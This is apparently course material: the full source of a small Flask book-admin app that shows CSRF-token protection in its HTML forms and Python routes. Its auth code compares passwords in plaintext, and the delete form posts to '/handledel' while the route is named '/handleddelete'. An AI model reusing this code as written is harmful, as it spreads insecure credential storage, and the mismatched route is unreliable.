PennyAdmin07bCsrfToken/add.html (Page 1 of 1)

```

1: <!DOCTYPE html>
2: <html>
3:   <head>
4:     <title>PennyAdmin</title>
5:   </head>
6:   <body>
7:     {% include 'header.html' %}
8:     <h1>Add a Book</h1>
9:     <form action="/handleadd" method="post">
10:       <input type="hidden" name="csrf_token"
11:         value="{{csrf_token() }}">
12:
13:       Enter an ISBN:
14:       <input type="text" name="isbn" autofocus
15:         required pattern=".*\S.*"
16:         title="At least one non-white-space char">
17:       <br>
18:
19:       Enter an author:
20:       <input type="text" name="author"
21:         required pattern=".*\S.*"
22:         title="At least one non-white-space char">
23:       <br>
24:
25:       Enter a title:
26:       <input type="text" name="title"
27:         required pattern=".*\S.*"
28:         title="At least one non-white-space char">
29:       <br>
30:
31:       <input type="submit" value="Go">
32:     </form>
33:     <br>
34:     <a href="/menu">Return to menu page</a>
35:     <br>
36:     {% include 'footer.html' %}
37:   </body>
38: </html>

```

PennyAdmin07bCsrfToken/delete.html (Page 1 of 1)

```

1: <!DOCTYPE html>
2: <html>
3:   <head>
4:     <title>PennyAdmin</title>
5:   </head>
6:   <body>
7:     {% include 'header.html' %}
8:     <h1>Delete a Book</h1>
9:     <form action="/handledel" method="post">
10:       <input type="hidden" name="csrf_token"
11:         value="{{csrf_token() }}">
12:
13:       Enter an ISBN:
14:       <input type="text" name="isbn" autofocus
15:         required pattern=".*\S.*"
16:         title="At least one non-white-space char">
17:       <input type="submit" value="Go">
18:     </form>
19:     <br>
20:     <br>
21:     <a href="/menu">Return to menu page</a>
22:     <br>
23:     {% include 'footer.html' %}
24:   </body>
25: </html>

```


PennyAdmin07bCsrfToken/login.html (Page 1 of 1)

```

1: <!DOCTYPE html>
2: <html>
3:   <head>
4:     <title>Penny.com</title>
5:   </head>
6:   <body>
7:     <h1>Login to Penny</h1>
8:     <!-- Use post instead of get for security. -->
9:     <form action="/handlelogin" method="post">
10:       <input type="hidden" name="csrf_token"
11:         value="{{csrf_token() }}">
12:
13:       <table>
14:         <tbody>
15:           <tr>
16:             <td style="text-align:right">User name:</td>
17:             <td><input type="text" name="username" autofocus
18:               required pattern=".*\S.*"
19:               title="At least one non-white-space char">
20:             </td>
21:           </tr>
22:           <tr>
23:             <td style="text-align:right">Password:</td>
24:             <td><input type="password" name="password"
25:               required pattern=".*\S.*"
26:               title="At least one non-white-space char">
27:             <td>
28:           </tr>
29:           <tr>
30:             <td></td>
31:             <td><input type="submit" value="Go"></td>
32:           </tr>
33:         </tbody>
34:       </table>
35:     </form>
36:     <br>
37:     Don't have an account? <a href="/signup">Sign up</a>
38:     <br>
39:     <br>
40:     <strong>{{msg}}</strong>
41:   </body>
42: </html>

```

PennyAdmin07bCsrfToken/signup.html (Page 1 of 1)

```

1: <!DOCTYPE html>
2: <html>
3:   <head>
4:     <title>Penny.com</title>
5:   </head>
6:   <body>
7:     <h1>Penny New User Signup</h1>
8:     <!-- Use post instead of get for security. -->
9:     <form action="/handlesignup" method="post">
10:       <input type="hidden" name="csrf_token"
11:         value="{{csrf_token() }}">
12:
13:       <table>
14:         <tbody>
15:           <tr>
16:             <td style="text-align:right">User name:</td>
17:             <td><input type="text" name="username" autofocus
18:               required pattern=".*\S.*"
19:               title="At least one non-white-space char">
20:             </td>
21:           </tr>
22:           <tr>
23:             <td style="text-align:right">Password:</td>
24:             <td><input type="password" name="password"
25:               required pattern=".*\S.*"
26:               title="At least one non-white-space char">
27:             <td>
28:           </tr>
29:           <tr>
30:             <td></td>
31:             <td><input type="submit" value="Go"></td>
32:           </tr>
33:         </tbody>
34:       </table>
35:     </form>
36:     <br>
37:     <strong>{{error_msg}}</strong>
38:   </body>
39: </html>

```

PennyAdmin07bCsrfToken/penny.py (Page 1 of 3)

```

1: #!/usr/bin/env python
2:
3: #-----
4: # penny.py
5: # Author: Bob Dondero
6: #-----
7:
8: import os
9: import dotenv
10: import flask
11: import flask_session
12: import flask_sqlalchemy
13: import flask_wtf.csrf
14: import database
15: import auth
16:
17: from top import app
18:
19: #-----
20:
21: dotenv.load_dotenv()
22: app.secret_key = os.environ['APP_SECRET_KEY']
23: flask_wtf.csrf.CSRFProtect(app)
24:
25: # Session configuration to store session data in the file system
26: # (simple, but not realistic for a deployed app):
27:
28: #app.config['SESSION_PERMANENT'] = False
29: #app.config['SESSION_TYPE'] = 'filesystem'
30: #flask_session.Session(app)
31:
32: # Session configuration to store session data in a database:
33:
34: session_database_url = os.getenv('SESSION_DATABASE_URL',
35:     'sqlite:///pennysessions.sqlite')
36: session_database_url = session_database_url.replace(
37:     'postgres://', 'postgresql://')
38: app.config['SESSION_PERMANENT'] = False
39: app.config['SESSION_TYPE'] = 'sqlalchemy'
40: app.config['SQLALCHEMY_DATABASE_URI'] = session_database_url
41: app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
42: app.config['SESSION_SQLALCHEMY'] = flask_sqlalchemy.SQLAlchemy(app)
43: flask_session.Session(app)
44:
45: #-----
46:
47: @app.route('/', methods=['GET'])
48: @app.route('/index', methods=['GET'])
49: def index():
50:
51:     html_code = flask.render_template('index.html')
52:     response = flask.make_response(html_code)
53:     return response
54:
55: #-----
56:
57: @app.route('/menu', methods=['GET'])
58: def menu():
59:
60:     auth.authenticate()
61:     username = auth.get_username()
62:
63:     is_authorized = database.is_authorized(username)
64:
65:     html_code = flask.render_template('menu.html', username=username,

```

PennyAdmin07bCsrfToken/penny.py (Page 2 of 3)

```

66:         is_authorized=is_authorized)
67:     response = flask.make_response(html_code)
68:     return response
69:
70: #-----
71:
72: @app.route('/show', methods=['GET'])
73: def show():
74:
75:     auth.authenticate()
76:     username = auth.get_username()
77:
78:     books = database.get_books()
79:     html_code = flask.render_template('show.html',
80:         username=username, books=books)
81:     response = flask.make_response(html_code)
82:     return response
83:
84: #-----
85:
86: @app.route('/add', methods=['GET'])
87: def add():
88:
89:     auth.authenticate()
90:     username = auth.get_username()
91:
92:     if not database.is_authorized(username):
93:         html_code = 'You are not authorized to add books.'
94:         response = flask.make_response(html_code)
95:         return response
96:
97:     html_code = flask.render_template('add.html', username=username)
98:
99:     response = flask.make_response(html_code)
100:     return response
101:
102: #-----
103:
104: @app.route('/handleadd', methods=['POST'])
105: def handle_add():
106:
107:     auth.authenticate()
108:     username = auth.get_username()
109:
110:     if not database.is_authorized(username):
111:         html_code = 'You are not authorized to add books.'
112:         response = flask.make_response(html_code)
113:         return response
114:
115:     isbn = flask.request.form.get('isbn')
116:     if (isbn is None) or (isbn.strip() == ''):
117:         message = 'The addition was unsuccessful: missing ISBN'
118:     else:
119:         author = flask.request.form.get('author')
120:         if (author is None) or (author.strip() == ''):
121:             message = 'The addition was unsuccessful: missing author'
122:         else:
123:             title = flask.request.form.get('title')
124:             if (title is None) or (title.strip() == ''):
125:                 message = 'The addition was unsuccessful: missing title'
126:             else:
127:                 isbn = isbn.strip()
128:                 author = author.strip()
129:                 title = title.strip()
130:

```

PennyAdmin07bCsrfToken/penny.py (Page 3 of 3)

```

131:         successful = database.add_book(isbn, author, title)
132:         if not successful:
133:             message = 'The addition was unsuccessful: '
134:             message += 'duplicate ISBN'
135:         else:
136:             message = 'The addition was successful'
137:
138:     html_code = flask.render_template('reportresults.html',
139:                                     username=username, message=message)
140:     response = flask.make_response(html_code)
141:     return response
142:
143: #-----
144:
145: @app.route('/delete', methods=['GET'])
146: def delete():
147:
148:     auth.authenticate()
149:     username = auth.get_username()
150:
151:     if not database.is_authorized(username):
152:         html_code = 'You are not authorized to delete books.'
153:         response = flask.make_response(html_code)
154:         return response
155:
156:     html_code = flask.render_template('delete.html', username=username)
157:
158:     response = flask.make_response(html_code)
159:     return response
160:
161: #-----
162:
163: @app.route('/handleddelete', methods=['POST'])
164: def handle_delete():
165:
166:     auth.authenticate()
167:     username = auth.get_username()
168:
169:     if not database.is_authorized(username):
170:         html_code = 'You are not authorized to delete books.'
171:         response = flask.make_response(html_code)
172:         return response
173:
174:     isbn = flask.request.form.get('isbn')
175:     if (isbn is None) or (isbn.strip() == ''):
176:         message = 'The deletion was unsuccessful: missing ISBN'
177:     else:
178:         isbn = isbn.strip()
179:         database.delete_book(isbn)
180:         message = 'The deletion was successful'
181:
182:     html_code = flask.render_template('reportresults.html',
183:                                     username=username, message=message)
184:     response = flask.make_response(html_code)
185:     return response

```

blank (Page 1 of 1)

1: This page is intentionally blank.

PennyAdmin07bCsrfToken/auth.py (Page 1 of 2)

```

1: #!/usr/bin/env python
2:
3: #-----
4: # auth.py
5: # Author: Bob Dondero
6: #-----
7:
8: import flask
9: import database
10:
11: from top import app
12:
13: #-----
14:
15: def _valid_username_and_password(username, password):
16:
17:     stored_password = database.get_password(username)
18:     if stored_password is None:
19:         return False
20:     return password == stored_password
21:
22: #-----
23:
24: @app.route('/login', methods=['GET'])
25: def login():
26:
27:     msg = flask.request.args.get('msg')
28:     if msg is None:
29:         msg = ''
30:
31:     html = flask.render_template('login.html', msg=msg)
32:
33:     response = flask.make_response(html)
34:     return response
35:
36: #-----
37:
38: @app.route('/handlelogin', methods=['POST'])
39: def handle_login():
40:
41:     username = flask.request.form.get('username')
42:     password = flask.request.form.get('password')
43:     if (username is None) or (username.strip() == ''):
44:         return flask.redirect(
45:             flask.url_for('login', msg='Wrong username or password'))
46:     if (password is None) or (password.strip() == ''):
47:         return flask.redirect(
48:             flask.url_for('login', msg='Wrong username or password'))
49:     if not _valid_username_and_password(username, password):
50:         return flask.redirect(
51:             flask.url_for('login', msg='Wrong username or password'))
52:     original_url = flask.session.get('original_url', '/index')
53:     response = flask.redirect(original_url)
54:     flask.session['username'] = username
55:     return response
56:
57: #-----
58:
59: @app.route('/logout', methods=['GET'])
60: def logout():
61:
62:     flask.session.clear()
63:     html_code = flask.render_template('loggedout.html')
64:     response = flask.make_response(html_code)
65:     return response

```

PennyAdmin07bCsrfToken/auth.py (Page 2 of 2)

```

66:
67: #-----
68:
69: @app.route('/signup', methods=['GET'])
70: def signup():
71:
72:     error_msg = flask.request.args.get('error_msg')
73:     if error_msg is None:
74:         error_msg = ''
75:
76:     html_code = flask.render_template('signup.html',
77:         error_msg=error_msg)
78:
79:     response = flask.make_response(html_code)
80:     return response
81:
82: #-----
83:
84: @app.route('/handlesignup', methods=['POST'])
85: def handle_signup():
86:
87:     username = flask.request.form.get('username')
88:     password = flask.request.form.get('password')
89:     if (username is None) or (username.strip() == ''):
90:         return flask.redirect(
91:             flask.url_for('signup', error_msg='Invalid username'))
92:     if (password is None) or (password.strip() == ''):
93:         return flask.redirect(
94:             flask.url_for('signup', error_msg='Invalid password'))
95:     successful = database.add_user(username, password)
96:     if not successful:
97:         return flask.redirect(
98:             flask.url_for('signup', error_msg='Duplicate username'))
99:
100:     return flask.redirect(
101:         flask.url_for('login', msg='You now are signed up.'))
102:
103: #-----
104:
105: def get_username():
106:
107:     return flask.session.get('username')
108:
109: #-----
110:
111: def authenticate():
112:
113:     username = flask.session.get('username')
114:     if username is None:
115:         response = flask.redirect(flask.url_for('login'))
116:         flask.session['original_url'] = flask.request.url
117:         flask.abort(response)

```